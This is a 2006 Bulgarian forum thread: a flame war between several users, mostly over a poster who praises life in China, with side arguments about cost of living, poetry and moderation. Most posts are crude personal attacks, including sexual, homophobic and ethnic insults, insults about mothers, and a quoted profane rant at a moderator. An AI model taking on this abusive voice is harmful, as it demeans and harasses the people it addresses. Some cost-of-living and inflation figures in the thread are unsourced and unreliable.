"Разбирам аз доста неща, ама ти не си общувал достатъчно с мене, за да се убедиш. Ама как да общуваш като налагаш "Системно отклоняване от темата!""
Ами гледам, че липсата на общуване не ти пречи да ми правиш квалификации :) та какво да ми пречи на мен. А извод лесно мога да си извадя както аз, така и другите дето четат. Без въобще да съм се намесвал в тази тема, ти ме обявяваш за най-комплексирания и вадиш стара случка, която въобще не подкрепя тезата ти. Извод - ти просто си злопаметен - зъл човек. А на моя сдържан отговор какво получавам - "жертва не усеща как издайнически, кафеникави струйки се стичат по крачолчетата му, понеже е забравил в бързината да се събуе. Ето сега и коментари по неуспелия ти фекален снаряд:", хм жалка история на един жалък човек. После продължаваш с измислици разни, които не ги подкрепяш с факти, дори високия си стил изостави от злоба, дребнаво, много дребнаво. И какво излиза, зло, жалко и дребнаво човече, не просто хобит, а същински ам-гъл. Аре със здраве и стига си се хвалил, че си се оженил, ами ходи и обърни внимание жена си.
Bersek
Wed Mar 29 22:40:23 2006
Лебедите...
--------------------------------------------------------------------------------
...са много красиви птици. Поне на мен ми харесват... но явно татарският кхан има нещо против тях. Да не би да им завижда за ПОЛУбожествения външен вид? :)
--------------------
Винаги с ЧЕСТ!!!
Bersek
Wed Mar 29 22:45:17 2006
Бе то...
--------------------------------------------------------------------------------
...татарчето май толкова си е паднало по мен, че му се ще да съм от женски пол, за да му е оправдано именцето на "мъжкар"...
--------------------
Винаги с ЧЕСТ!!!
Bersek
Wed Mar 29 22:57:15 2006
Извинявай Добрудански...
--------------------------------------------------------------------------------
...но ще напиша нещо по въпроса с поезията вместо теб.
Драго ми Татарче, как да не те съжали човек. Та ти не искаш да пишеш поезия на български, защото сме били само няколко милиона, а си щял да пишеш на китайски, защото са милиард и половина. Така щяло да има повече хора, които да те четат (това са твои думи, да не се отметнеш!)... Явно се притесняваш, че в от толкова малко българи няма да се намери кой да ти хареса писанията, а при толкова голям брой потенциални четящи в Китай... е все ще се намери някой, който да те съжали.
А и нали знеш поговорката, който може - пише, който не може - става критик. От теб само критика извира, следователно изводът какъв ли ще е? Не няма да ти кажа, че ти нали си Убразован, значи трябва да се сетиш сам...
Поздрави.
П.П. Жена ти знае ли, че си си паднал по мен?! Защото аз сигурно ще сънувам кошмари след като научих новината...
--------------------
Винаги с ЧЕСТ!!!
Bersek
Wed Mar 29 23:03:58 2006
:)
--------------------------------------------------------------------------------
"щом и берсерка отказа, направо не знам... "
Татарчето си го ползвам за каляване на нервите... :)
--------------------
Винаги с ЧЕСТ!!!
Anonymous
Wed Mar 29 23:49:57 2006
imperiqta otvryshta na udara
--------------------------------------------------------------------------------
уоу!
много удари станаха .. да видим сега Империята, как ще отвърне ...
аз лично не се съмнявам, че ще ги размаже до един ... до последния "бунтовник", осмелил да надигне глава срещу могъществото и ...
ще ги размаже като хлебарки .. както правеше и прави до сега - със своето пламенно слово и дълбока филосовска мисъл ...
\\\"наблюдаващ в очакване на размазването - Хамбург\\\"
Anonymous
Thu Mar 30 00:29:56 2006
Hamburg
--------------------------------------------------------------------------------
чак сега ми се отвориха снимките, понеже последно време много даунлоадвах и сега си нося последниците .. но да не се отплесваме ...
като ги гледах, запланен от божествената красота на Китай и отвратен и погнусен от мръсотията на Оската (де.ба тея японски свинИ, де.ба)
та, реших аз да пусна едни снимки да демострирам един друг прекрасен град - Хамбург ... както и един отвратилно грозен град - Хамбург (втората снимка е правена 5-6км по-насевер от първата) ...
само да оръжмеря снимките и доразкръся първата - ще ви покажа как яко си живеят германците, както и в какво отвратително място живуркат швабите ..
дерзайте прители!
Хамбург
White1
Thu Mar 30 05:40:42 2006
Отг: виж кво
--------------------------------------------------------------------------------
Bat Lamboo Rocks:)))
中共
Thu Mar 30 09:18:51 2006
О, редактиране |
--------------------------------------------------------------------------------
Нашьо се появи. Нали каза, че нямало да спориш с мене, понеже не можеш? Сега видя тука повечко народ и се окопити. Ама недей така, скоро ще изчезнат и тогава пак оставаш сам и ще почнеш да сдаваш фронта.
Иначе, доколкото разбирам, не си чувал изразът "Лебедова песен" и си решил, че имам нещо против самите лебеди.
За вида - хората са те виждали поне на снимка, виждали са и мене, та могат да преценят. И да не казваме кого предпочиташе едно момиче - мен или теб, щото пак ще те заболи.
Винаги с ЧЕСТ?!
中共
Thu Mar 30 09:25:41 2006
Отг: Hamburg редактиране |
--------------------------------------------------------------------------------
Фотошопът не се бори, приятел!
Иначе ето ти Хамбург:
Ето ти и Шанхай:
Не искам да се заяждам, но обективно погледнато в Германия само Франфурт е град от модерен тип, който може да съперничи на някои китайски градове. Останалото са главно пейзажи, които по архитектурни особености не се различават много от Източно-Европейските такива.
中共
Thu Mar 30 09:30:32 2006
Отг: imperiqta otvryshta na udara редактиране |
--------------------------------------------------------------------------------
Прав си, че са като хлебарки, но имам само една забележка. ФИЛОСФИЯ и ФОЛОСОФСКИ даже на немски се пише само с "Ф", а не с "В". Така че, би трябвало да пишеш "филосоФска мисъл", вместо "филосоВска". Преверката се прави лесно като се запиташ "Как е по-правилно да се напише ФИЛОСОВ или ФИЛОСОФ? СОФИЯ или СОВИЯ?"
"София" означава "МЪДРОСТ". ФИЛО-СОФИЯ буквално е ЛЮБО-МЪДРИЕ.
Толкова.
中共
Thu Mar 30 09:34:39 2006
Отг: :) редактиране |
--------------------------------------------------------------------------------
Позлваш ме за каляване на нервите...Хм, а се обиждаш като ти казвам, че са ти слаби нервите?! За много работи ще видиш, че съм прав. Но с времето. Разбира се, не за всичко, поради ограничеността на човешкия живот. С твоите темпове ще са ти необходими поне 500 години при оптималност на субективната ти способност за учене, разбиране и ПОМНЕНЕ. А, както знаем, дори Докторът не може да гарантира, че човек ще живее над 500 години (доколкото си спомням даваше варианти от 100-200 години, а някои подигравчии му викаха, че се канел да живее 300!). С други думи - не можеш да постигнеш всичко в този живот, но можеш да умреш опитвайки се.
中共
Thu Mar 30 10:07:15 2006
Отг: Някои истини за теб, Анонимен! редактиране |
--------------------------------------------------------------------------------
За нормалните размери - ти не заслужаваш! За тебе само ненормални размери, за да ти отиват!
За политиката - няма начин. Още древногръцки филсоф е казал, че хората са ЗООН ПОЛИТИКОН (Политическо; Държавно животно) и рано или късно всичко опира до политика. Ако не вярваш може да ти го докажа. И то не само на ниво опосредствени връзки, които въжат за почти всичко.
****************************
АХ, колко интересно! Като загуби тезичката, че Хайнан е коптор, взе да се опитваш да я задържиш в мимикриращата й форма - "Той Хайнан е добре, ама твойто жилище не е, щото са големи наемите!" Хал-хабер си нямаш от СОЦИАЛИСТИЧЕСКИ Китай! Тук е евтино, дори в тропическите райски кътчета. Наем на апартамент (среден) възлиза на не повече от 200 лева! А нашият е на централен булевард, двустаен, с баня, кухненски бокс, климатик, телевизор и мебелировка само за 130 лева/ месец. Ако и в това се усъмниш - ще ти дам сайт за наеми (макр, че в Нета са малко по-високи от средното) и пак ще видиш, че тук варират между 100 и 200 лева! Защото е социализъм!
Ето ти моят булевард, известен е:
И е много интересно това, че още не си разбрал, че аз в поробена от САЩ, Турция и НАТО България нямам намерение да се връщам. Аз съм татарин и съм си в реалната Прародина!
За рекордите - ха кажи ми какво искате? Ако излезна от нета- избягал съм (ама видя всъщност как Скелетчо избяга, след като му дадох малко храна за размисъл), ако пък стоя - рекордьор съм бил. :)
В безсилието си намирате какви ли не "аргументи".
И последно - ХИКС И ИГРЕК са латински букви, не са гръцки. Ако си почнал с АЛФА и БЕТА, можеш да продължиш с ГАМА, ДЕЛТА и ДОРИ С ЕПСИЛОН. ХИКС, ИГРЕК, ЗЕТ са в поредицата - А, БЕ , ЦЕ, ДЕ.
Хайде, наздарве! ;)
И да не забравя- усъмнил си се и в прехраната ми. Явно в Япония гладуваш и си мислиш, че навсякъде мизеруваме като тебе. Тука има плодове, които в Япония можете само да ги внасяте от Китай и то не всякога на преференциални цени, според зависи от храма Ясукуни, разбираш ли.
Ял си нещо такова?
А такова?
Хайде стига ти толкова, че ще вземе да ти стане нещо на патката, нали си момченци, а посред българските народни поверия, ако момченцата не могат да хапнат каквото им се ядяло им ставало нещо. А ти си славяно-българин, може и да те хване!
中共
Thu Mar 30 10:10:33 2006
Отг: Бе то... редактиране |
--------------------------------------------------------------------------------
O, не, Берси, не си падам по хермафродити. Похвали ли се как си писал в "Секс и еротика", че си махнал спиралата? (Ако някой не вярва, съм направил снимка с Принт-скрийна на постинга ти, в случай, че някой го изтрие, за да мога да те похваля). Така, че колегите ти от ДАО-то, ако желаят - да се регнат или да дадат и-мейл и ще им го покажа!
ВИНАГИ С ЧЕСТ!!!
Anonymous
Thu Mar 30 10:11:48 2006
Отг: :)
--------------------------------------------------------------------------------
Бря, бря, тук станало интересно, що неща е постнал Посерхана! Абе Посерханович, на твое място не бих нападал хората на тема външен вид. Спомен мил имам за една продуктивна дискусия в дао - то, беше пуснал твои еро - снимки. След като заеха топ - места в класацията за най - смешни, беше писал покъртителни молби до модераторите да ги изтрият. няма да обсъждам твоето ОФП - носене на баби и обладавене на кози + смяна на пол.Китай и аз го харесвам, но с такива малоумщини каквито дращиш, вече ми стана по - малко симпатичен. Сигурното е , че на доктор трябва да ходиш, може би е вече късно, но медицината се развива. А бе ти драскай, драскай. Откак се появи, рейтингът на АБВ - то рязко се надигна, глей ква посешаемост! Всички идват заради теб! Поговорих с един приятел, психолог, каза че ще праща тук пациенти ( в АБВ - то )някой ако мисли , че е пернал да ти чете постовете и да се успокои.
Стани здрав!
Уйки - Малоумов - Кики.
Anonymous
Thu Mar 30 10:20:32 2006
Отг: imperiqta otvryshta na udara
--------------------------------------------------------------------------------
Филосфия и нам кво си...ти май сам не моиш си опраи писането.
Аве я за*би тез сложни тематики,слагай минижупа и бегай да доработваш на Манджурската магистрала,че с тез писания и с тоз тон не нам на кого ше треа да плащаш кът ти изтече визата :)
аре с лебоф от Оня
中共
Thu Mar 30 10:21:26 2006
Отг: Извинявай Добрудански... редактиране |
--------------------------------------------------------------------------------
"Драго ми Татарче, как да не те съжали човек."
Ти не ме съжаляваш, а сам съжаляваш, че си си намерил майстора в мое лице.
"Та ти не искаш да пишеш поезия на български, защото сме били само няколко милиона, а си щял да пишеш на китайски, защото са милиард и половина."
Ами ПАЗАРЕН СОЦИАЛИЗЪМ, ако не си чувал! Хората се стремят към големите пазари. А , който не знае чужди езици и не го пускат в чужбина като Стоенчо пише глупости на български. Нито рима, нито идейност, нито ритмика. Нищо! Даже Гергана ти направи забележка да не пишеш такива недодялани стихове, а във форум "Поезия" те подминават с насмешка.
"Така щяло да има повече хора, които да те четат (това са твои думи, да не се отметнеш!)..."
Запомнил си малко думи на умен човек! Какво постижение!
"Явно се притесняваш, че в от толкова малко българи няма да се намери кой да ти хареса писанията, а при толкова голям брой потенциални четящи в Китай... е все ще се намери някой, който да те съжали."
Глупчото ми :) Аз съм печелил конкурси в БГ, бе, мой! И , за разлика от теб, мога да пиша поезия на няколко езика. И , пак за разлика от теб, качествена. За сравнение само - виж какво си писал в ДАОБГ-то последно! Ако някой му хареса, трябва да е извънземен или дебилен!
"А и нали знеш поговорката, който може - пише, който не може - става критик."
Ами не е задължително-вярна. Ти , например, пишеш. За ужас на всеки!
"От теб само критика извира"
Сериозно? Енграмите да не са се разбили от много бой по тикварника?
", следователно изводът какъв ли ще е?"
Да, какъв ли ще е? Че Берсито даже не помни какво е ял вчера!
"Не няма да ти кажа, че ти нали си Убразован, значи трябва да се сетиш сам...
Поздрави."
У бразован?
"П.П. Жена ти знае ли, че си си паднал по мен?! Защото аз сигурно ще сънувам кошмари след като научих новината..."
Жена ми знае, че не си падам по хермафродити. А ти си хермич с халюцинаторика.
И като стана дума за жени - ти защо си вече около тридесеттака, а още нямаш приятелка, даже? Поради неосъзнатост на пола или ...
Аз ще ти кажа. Всяко същество от женски пол, което е имало неблагоразумието да се доближи на по-малко от един метър от теб, след това отива в първата църква и се кръсти, че се е оттървало от теб.
Живи и здрави!
--------------------
Винаги с ЧЕСТ!!!
"
中共
Thu Mar 30 10:26:41 2006
Отг: ех и ти редактиране |
--------------------------------------------------------------------------------
Току що попаднах и на невзрачния ти постинг. В момента трябва да свърша някои задачи, затова да не си мислиш, че нещо ме е уплашило в набора ти от нискокачествени опити за възражения. Като се върна ще ти отдам част от вниманието си. Това се отнася и до останалите, тип Скелетчо, дето си мислят, че съм длъжен да давам дежурства тук. Междувремнно помисли върху това, което казват за тебе хората по срещите (да не го повтарям, предполагам, че се е забило в незавършеното ти съзнание*)
______
* Да не се бърка със САМОСЪЗНАНИЕ.
Anonymous
Thu Mar 30 10:35:16 2006
Отг: imperiqta otvryshta na udara
--------------------------------------------------------------------------------
Е-хеее,чшшш,я съ дръж малко ве!
Нъл уж плащаше 90 кинта за наем,ток,вода,телячка,нет,чистачка,пазач,коза,седмичната парцуца на милционера и т.н...Ся само наема скочи на 130 кинта!Чи и климатик имал!Бре!Ми то тва е минимално условие ве!
Ма за*би ти тез работи,я прати пак полубожественото тяло на фона на тез големите сгради,па мое и как рупаш манджите на горните снимки...
Кът гледам магистралата неа стигне...
от твойта голема лебоф Оня
Anonymous
Thu Mar 30 11:08:44 2006
Отг: imperiqta otvryshta na udara
--------------------------------------------------------------------------------
Посера съвсем е изпердашил! Взимам си думите назад, медицинска помощ - невъзможна! Той се е върнал в историческата си родина, в родното си измерение.Неам думи.
Уйки - Малоумов - Кики.
中共
Thu Mar 30 13:21:52 2006
Прочети пак редактиране |
--------------------------------------------------------------------------------
Ето какво писах:
"При положение, че ток, вода, газ, чистачка, асансьор, охрана /наистина не знам защо в Китай я има тази длъжност, като е толкова спокойно тук/, телевизионна такса и Интернет СА МИ НЕ ПОВЕЧЕ ОТ 90 лева, как мислиш?
"
НЯКЪДЕ ДА ВИЖДАШ ДУМАТА "НАЕМ"?!
По останалите алкохолни брътвежи няма да коментирам ( визирам "коза" , явно и ти си минал на зоофилия като Скелетчо; "милиционер" ?!, телячка ?!).
За климатика , че бил минимално условие... Определено, ако вземеш под наем някоя къща в Провадия или Видин НЯМА НАЧИН да не е с климатик! Гаранция!!! Ти май вярно трябва да си отидеш малко в БГ-то, за да направиш проверка на реалността (макр, че с този изпит от алкохола мозък, едва ли ще задържиш нещо!).
За манджите - батка, това са плодове, не манджи, бе:) Ти съвсем си се сдухал в Японско!
За магистралата - от опит ли говориш или по спомени на турския си любовник?
И защо трябва да ти пращам снимки?! По Ай-пито ми не си ли личи къде съм?
ХАйде не се излагай като дърт кифладжия, че след мене си един от най-дъртите тука и не ти прилича на 30-те години!
中共
Thu Mar 30 13:27:32 2006
Отг: imperiqta otvryshta na udara редактиране |
--------------------------------------------------------------------------------
Посеров, здравей! Както знаеш, че в абв-то не може да се пише с цветове сега си стигнал до заключението, че предците на татарите - прабългари, кумани и монголи не идват от територии, които днес влизат в Китай.
Би ли споделил твоята гледна точка.
И се радвам, че си се подписал с "малоумов", няма нужда да ти казвам нишо повече.
Anonymous
Thu Mar 30 13:55:36 2006
Отг: Някои истини за теб, Анонимен!
--------------------------------------------------------------------------------
Ама пусни и някой зарзават, че на Оня съвсем да му изтекат лигите. Вече виждам как довечера ще се напие от мъка, замезвайки с мръвка и сърмички :) Ма то както е тръгнало, съвсем ще се пропие, хвани му прати едно колетче с плодчета и китайско зеле, белким се оправи, че от това месо само на агресия и алкохол го избива :)
Anonymous
Thu Mar 30 14:08:14 2006
Отг: Прочети пак
--------------------------------------------------------------------------------
Ти н съ пръй на луд,ми фащай пътя към магистралата,чи как ш си плащаш версиити не нам!
Ко щеш и за слон да са ожениш неа ти стане номера.Земи по-добре бегай в Тайланд и пръй операцията,чи кът тъ намерят после в БГ поне да ти е кеф кът тъ клецат...шот то голямо иб*не ши бъди!И не манджи,не плодове...сичку ши идеш мой!
Ари стискай гъзягата до тогаз и спестявай юани,чи скалпеля и той не е баз пари...
от твойта голема лебоф Оня
Anonymous
Thu Mar 30 14:26:38 2006
uvajenie
--------------------------------------------------------------------------------
Най-почтително благодаря за градивната критика ...
исках да ви пиша ЛС, понеже гледам, че на доста места не можете да си оправите пълен и непълен член, но се оказа, че в този иначе прекрасен форум не могат да се изпращат ЛС :-(
тогава предприех по-крупни мерки - писах на модератора и го помолих да оправи грешките, които сте допуснали при употрепадата на пълен/кратък член, като бях дословно цитирал всичките 38 места, които са сгрешени .. също така бях дал и линкове ...
уважаемият модератор обаче отказа да се заеме .. на скромното ми запитване: \"Защо?\" получих следния отговор:
\"Да умира в лайната we! Ко ти пука?\"
това, разбира се, много ме огорчи, понеже сега достахора ще забележат, че въпреки високият ви стил и изказ, ще доста неграмотен относно някои неща ...
но това не в никакъв случай не означава, че повече не ви уважавам и че не ви се възхищавам като опитен оратор ... а и доста съм чувал, че ги владеете тези неща .. ораторските ...
с най-добри пожелания
Хамбург
P.P. моля следващия път сложете снимка на някой още по-краен квартал, че да видят хората, колко мизерно живеят швабите .. и ако може, такава от най-богатия китайски квартал, че да се накефят максимално на китайците
System^Of^A^Down
Thu Mar 30 14:29:14 2006
Отг: виж кво
--------------------------------------------------------------------------------
А не е ли честно да има едни и същи правила за всички?
Алек Маракелян
System^Of^A^Down
Thu Mar 30 14:30:59 2006
Отг: Някои истини за теб, Анонимен!
--------------------------------------------------------------------------------
Братле,личните обиди първо не са позволени във форума,а от друга страна така показваш слабост...
Алек Маракелян
Bersek
Thu Mar 30 14:31:48 2006
Отг: imperiqta otvryshta na udara
--------------------------------------------------------------------------------
"Преверката"?! Това пък какво ще да е?! Явно продължаваш да си измисляш нови думички. Тц, тц, тц...
--------------------
Винаги с ЧЕСТ!!!
System^Of^A^Down
Thu Mar 30 14:36:42 2006
Отг: :)
--------------------------------------------------------------------------------
Ууухаааа...направо заслужаваш уважение!О,да,дай да се гаврим с хората и да си каляваме нервите щото нямаме по-специална работа...Сууупер...и да не забравим да напишем името на етническата група /"татарчето"/,щото така е най-смешно.Виж ко,този и аз не го харесвам,ама не бих си позволил да се подигравам с етноса на хората...просто е недостойно.Ти ако отидеш ,да речем,в САЩ и вземат да викат "българско леке" какво ще си помислиш за тамошното ниво на интелект?
Алек Маракелян
System^Of^A^Down
Thu Mar 30 14:37:48 2006
Отг: imperiqta otvryshta na udara
--------------------------------------------------------------------------------
Бай дъ уей,БерсеРк се пише с "р"...
Алек Маракелян
System^Of^A^Down
Thu Mar 30 14:38:42 2006
Отг: Eфекти ли?
--------------------------------------------------------------------------------
Ай и ти стига си писал романи,че никой не ги чете...
Алек Маракелян
Bersek
Thu Mar 30 14:40:10 2006
Отг: :)
--------------------------------------------------------------------------------
Драги,
Ти хвърли ли око на темата? И по-специално как точно ме нарича мен в тази и още една две теми?
Между другото той точно под такъв ник (Татар) се подвизава в един друг форум (ДАОБГ), та от там и обръщението...
Поздрави.
--------------------
Винаги с ЧЕСТ!!!
中共
Thu Mar 30 14:40:50 2006
Отг: ех и ти редактиране |
--------------------------------------------------------------------------------
"Да здравей публиката :P"
Червеникавият по някакви неведоми пътища се е повлиял от руския език и почти е написал "Да здраствует!" :)
"Ами не съм си водил статистика, ама щом казваш, че съм от първите и основни."
Статистики за очевидности не са нужни, човече!
"Само не разбрах, защо по комплексарски причини, с какво пък ти точно ще ме комплексираш?"
Разбира се, че ще отречеш. Но отричането ти е голо. Ще припомня на скотомизираното ти съзнание:
- Постоянно губеше в споровете с мен (въпреки, че доста от постовете ми се триеха)
- Когато правеше опити за деонтологични разсъждения рече, че "такъв като мене" е много "опасен", понеже ще го потупаш по рамото, за да го попиташ колко е часа, а той "ще ти забие шилото в гърлото" / Да те знам в кендоката, дето така лесно му забиват шила по гърлото!!!/.
"На какво основание го твърдиш?"
Щом като се правиш на умен, ще ти отговоря със специализиран термин, да видим колко си умен (или поне да ти изгубя малко време в търсене на значението):
IPSE DIXIT !
"И кой е този юзър?"
Що, бе?! За да има кого да поставяш на ограничен режим ли? :) Понеже все още не съм в лоши отношения с него, няма да ти го кажа. Но и какво значение има?! Ти не се ли разпознаваш като такъв? Малко повече самопознание няма да ти се отрази зле. Е, най-много да се самонамразиш, но пък от това ще спечелиш само адекватни чувства към себе си.
"Ами никога не съм твърдял, че съм с полубожествено тяло, но пък жените ме харесват :)"
Ох, не думай :)))))) точно 2 момичета ми казаха мнението си за тебе - не е от най-ласкавите! (Наблегнаха основно на отвращение от физиономия и "килограмаж").
"Ами и да ти ги изброя, надали ги познаваш, пък време много ще отнеме :)"
Ама те са само от тесният свят на олигофренската среда в ДАОБГ, където, както е казал Дориян - много от качествено пишещите вече напуснаха ли? Тя можеш ли да ги изброиш?
"Или просто си повреден грамофон и въртиш една и съща приказка."
По принцип е вярно, ако не общуваш с повредени мозъци. Чувал ли си за АДЕКВАТНОСТ?
"Вярата не е само обект на теологията."
Но главно!!! ВСЯКО НЕЩО не е обект само на една дисциплина, понеже вече нещата са ИНТЕРДИСЦИПЛИНАРНИ. Но това не е дори мъничък повод да отбегнеш приоритетността.
"Никога не съм твърдял, че знам много, но е вярно, че мога да мисля :)"
Ами внушаваш си, за да поддържаш някакъв ЕГО-ОБРАЗ на ниво, но, според Адлер това само потвърждава комплексираността ти..
"А надежда и любов, не ми липсват, така че няма смисъл да злорадстваш."
Можеш ли да го докажеш?
"Че тука да не е скъпо, я да видим сега - среден разход на ел.енергия 45лв., интернет(неограничен) 20 лв., кабелна 14 лв., такса за вход (асансьор и чистачка) 5 лв, топла и студена вода 20 лв. Общо 104 лв разходи за тричленно семейство в тристаен апартамент. Та значи 1000 лв много ти се виждат :)"
1. Липсва такса за охрана!
2. С 14 лева си отгоре!
3. Кой от 3-членното ви семейство взема над 1000 лева/месец?
4. Как са цените на плодовете, зеленчуците и пр.?
5. Що започваш загубен спор? Всеки знае, че в БГ е кризисно положението. Има хора дето ядат само хляб, кисело мляко и боб!
" Горкичкият :P Толкова път си бил до тоз Китай, а те така да те преметнат. "
Горкичкият, не знае как са цените тука и злорадства...
Искаш ли да ти кажа как ти си преметнат? Нека сравним само един показател -
ИНФЛАЦИЯТА!
За 2005-та година в БГ има средна стойност на инфлацията 4,5 %.
За същият период в Китай е само 1,4 %. Смятай, че според някои анализатори в Китай е от 30% до 300% по-евтино за 2005, според артикула отколкото в България. Хайде сега вземи средното 165% по-евтино с разлика в инфлацията от 3,1 % и ми кажи кой е преметнатият?
Може ли да ти задам и още един прост, търговско-икономически въпрос? Ако в България най-евтини са китайските стоки (даже има такива по един лев), как мислиш, коллко струват СЪЩИТЕ ТЕЗИ СТОКИ В КИТАЙ? И кой може да живее по-добре - някой в БГ с 1000 лева или някой в Китай със същите левове?
"Ами нямам намерение да ставам член на този форум."
Е, да, тука нивото е по-високо. Само като се появи Берсек спада драстично, но хората са му свикнали и просто рядко му обръщат сериозно внимание! Да не ти разправям какво се получи с нещастния му опит да се появи в "История"! Пълна неграмотност и напусна засрамен.
"Модераторите нещо май спят ?!?"
"Това трябваше да ни обиди ли :) Ами спим бе и ние сме хора, няма да висим постоянно във форума да чистим след вас, веднъж дневно е достатъчно."
А ЗАЩО НЕ ЧИСТИТЕ КАЧЕСТВЕНО? КАК ТАКА ИЗРОДЩИНИТЕ НА СКЕЛЕТЧО (ДОБРУДЖАНСКИ) и ЗОРО стоят? В същото време доста по-адекватни и научни мнения се трият? Дебелоочието ти няма граници!
"Ами гледам, че липсата на общуване не ти пречи да ми правиш квалификации :)"
О, преценката за тебе се извежда и без много общуване. Понеже дефинирането на простото е доста по-бързо и безапелационно.
" та какво да ми пречи на мен. "
Липсата. Много неща ти липсват.
"А извод лесно мога да си извадя както аз, така и другите дето четат."
Ако Иво е ударил 5 уискита и 15 бири знаеш ли как ще те прочете и какви изводи ще си направи? Или пък Берсека, дето бърка елементарни нещица?... Просто си намерил кой да те оценява!
"Без въобще да съм се намесвал в тази тема, ти ме обявяваш за най-комплексирания и вадиш стара случка, която въобще не подкрепя тезата ти."
Стара, но АКТУАЛНА! Както и показателна! Комплексарщината витае при вас с пълни обороти.
Ето как се е жалвал и друг от потребителите :
In reply to:
--------------------------------------------------------------------------------
а бе модераторчето...кво не ти хареса в мойто отговорче на хандо,че не си го пуснал?или според теб хандо може пред всички да казва колко съм тъп, а аз да си мълча?само не мога да разбера - ти ли му правиш свирки,или той на теб? що не си наврете комерсиалния форум в насраните задници и да си продължите да си сбирате тъпаци дето ви се вързват?боли ма кура ще ме бамнеш или не, щото и без друго няма да влезна повече тук.и да си ебеш майката посрана.а ако си мъжкар можеш да ми пратиш едно лично съпбщение - ще ми е интересно да ти направя главата мека хахаха.
--------------------------------------------------------------------------------
daobg.com/forum/index.php?showtopic=5058
"Извод - ти просто си злопаметен - зъл човек."
Пак ли ще почнеш да ме описваш колко съм лош, бате? :)))))))
Би ли ми показал как да не съм ЗЛО-паметен, при положение, че си ми направил само ЗЛО? Направи нещо, за да съм ДОБРО-паметен, де!
Ама май много хора са злопаметни, т. е. имат адекватна памет и ще се окаже прав ХАНДО, че модераторите ще съставлявате 90% от юзърите.
" А на моя сдържан отговор какво получавам - "жертва не усеща как издайнически, кафеникави струйки се стичат по крачолчетата му, понеже е забравил в бързината да се събуе. Ето сега и коментари по неуспелия ти фекален снаряд:","
Нали питаше за САРКАЗЪМ и ИРОНИЯ? Нещо не ти ли харесва?
" хм жалка история на един жалък човек. "
Което е много вярно, ако субекта на изказването го насочи към самия себе си.
"После продължаваш с измислици разни, които не ги подкрепяш с факти, дори високия си стил изостави от злоба, дребнаво, много дребнаво."
Кои факти не са изнесени? Конкретизирай!
А за стила - много амбивалентно, бе, батенце! Ако е висок- не ви отърва, ако е по-принизен, за да ме разбират по - простичките от вас - пак не ти изнася. Неудоволетворен ли си нещо? И стига си плачкал! Хайде изтрий сълзичките!
"И какво излиза, зло, жалко и дребнаво човече, не просто хобит, а същински ам-гъл."
Е, хайде сега! Хобит :) 175 висок/65 килограма . Ами не може всеки да е шкембак като тебе и да му се присмиват момичетата по срещите в София, бе, комплексарчо.
"Аре със здраве и стига си се хвалил, че си се оженил, ами ходи и обърни внимание жена си."
Твоята да не се оплаква нещо и да говориш от личен опит? Какво ли вика - "Обърни малко внимание на детето и на мене, бе, стига си се занимавал с този компютър!" Или направо те бие с кендо-кинкалерията ти?
_________
И пак да попитам, понеже бягаш от отоговор: Защо откровени обиди, глупости и неинтелектуалнин постинги като тези на ДОбруджански и ЗОРО не се трият, а много по-свестни мнения се трият заради това, че съдържат контра-аргументи към модераторите?
System^Of^A^Down
Thu Mar 30 14:41:18 2006
Отг: Бе то...
--------------------------------------------------------------------------------
Ама,братле,на какъв език да ви кажа да спрете да ръсите простотии извън темите и без лични обиди!Няма значение ориентацията на човека /а и не можеш да си сигурен за конкретия човек каква му е ориентацията/-не е твоя работа и нямаш моралното право да обиждаш хората.
Алек Маракелян
Bersek
Thu Mar 30 14:49:20 2006
Отг: Eфекти ли?
--------------------------------------------------------------------------------
О не... четем си ги... Те са много поучителни за мен! :)
--------------------
Винаги с ЧЕСТ!!!
Bersek
Thu Mar 30 14:59:08 2006
Отг: imperiqta otvryshta na udara
--------------------------------------------------------------------------------
Е и?
А и освен това може да се напише и "берсеркер", но това е друга тема на разговор. Не аз се заяждам за правописни грешки (най-често грешки от бързане и натискане на съседен клавиш), а нашия колега с Йерогрифите.
Поздрави.
--------------------
Винаги с ЧЕСТ!!!
中共
Thu Mar 30 15:01:01 2006
Отг: :) редактиране |
--------------------------------------------------------------------------------
Посеров, здравей отново!
Доста си лъгал, ето:
" Абе Посерханович, на твое място не бих нападал хората на тема външен вид."
Не можеш да си на мое място, понеже не се отличаваш нито с нравствени, нито с интелектуални, нито с естетически добродетели.
"Спомен мил имам за една продуктивна дискусия в дао - то, беше пуснал твои еро - снимки."
Еро-сними пуска само майка ти, за да изкарвате някой лев. Аз еро-снимки не съм пускал.
" След като заеха топ - места в класацията за най - смешни, беше писал покъртителни молби до модераторите да ги изтрият."
Глупости на търкалета. Я дай линк да видим!
"няма да обсъждам твоето ОФП - носене на баби и обладавене на кози"
Пак лъжи! За бабата е извадено от контекста, а козите ги обладава баща ти, докато майка ти е заета с еро-снимачния ден. Гледай в бързината да не те опне и тебе! Щото мязаш на добитък, досущ като Берсито.
" + смяна на пол. "
Да, бе, да не съм като майка ти?! Още съжалвява горкичката, че допуснла такава грешка, сега еро-снимкте се заплащат само на 35% от реалната цена. Жалва се жената! Известна е!
"Китай и аз го харесвам,"
БЛЯХ!!! Каква гнус! Син на малоумници да харесва Китай!... Погнусен съм ,че има нещо, което харесваме двамата! Ако кажеш, че харесваш и комунизма, ще си отрежа някой пръст, като якудзите! Бляхххх... Пфу! Гнус!
"но с такива малоумщини каквито дращиш, вече ми стана по - малко симпатичен. "
Симпатиите ти към дадена същност се влияят от мненията изказани за тях? Че то, ако е така, щом като току-що разбрах този гнусен факт, че един от най-големите олигофрени в БГ харесва Китай, трябва направо да избягам в Япония, поне, ако не в Гренландия! Ти нормален ли си въобще или докато тейко ти оправя добитъка не можеш да мислиш? (В смисъл - временно ли е или си си така по принцип?)
"Сигурното е , че на доктор трябва да ходиш, може би е вече късно, но медицината се развива. "
На медицината ще й отнеме поне 1 милиард години, докато не измисли лек за олигофренизъм от твоя тип! Виж за баща ти и майка ти има надежда и по-рано. Но на кой му пука?!
"А бе ти драскай, драскай. Откак се появи, рейтингът на АБВ - то рязко се надигна, глей ква посешаемост!"
Да, грижа се.
"Всички идват заради теб! Поговорих с един приятел, психолог, каза че ще праща тук пациенти ( в АБВ - то )някой ако мисли , че е пернал да ти чете постовете и да се успокои."
Объркал си се - не е бил приятел, а ЛЕКУВАЩИЯ ТИ ЛЕКАР. И не е бил психолог, а МЕДИЦИНСКИ ПСИХОЛОГ С МНОГО ТЕСЕН ИНТЕРЕС КЪМ СПЕЦИАЛНАТА ПСИХОПАТОЛОГИЯ!
"
И, ако баща ти вече е свършил, да те запитам един много сериозен въпрос, позволяваш ли?
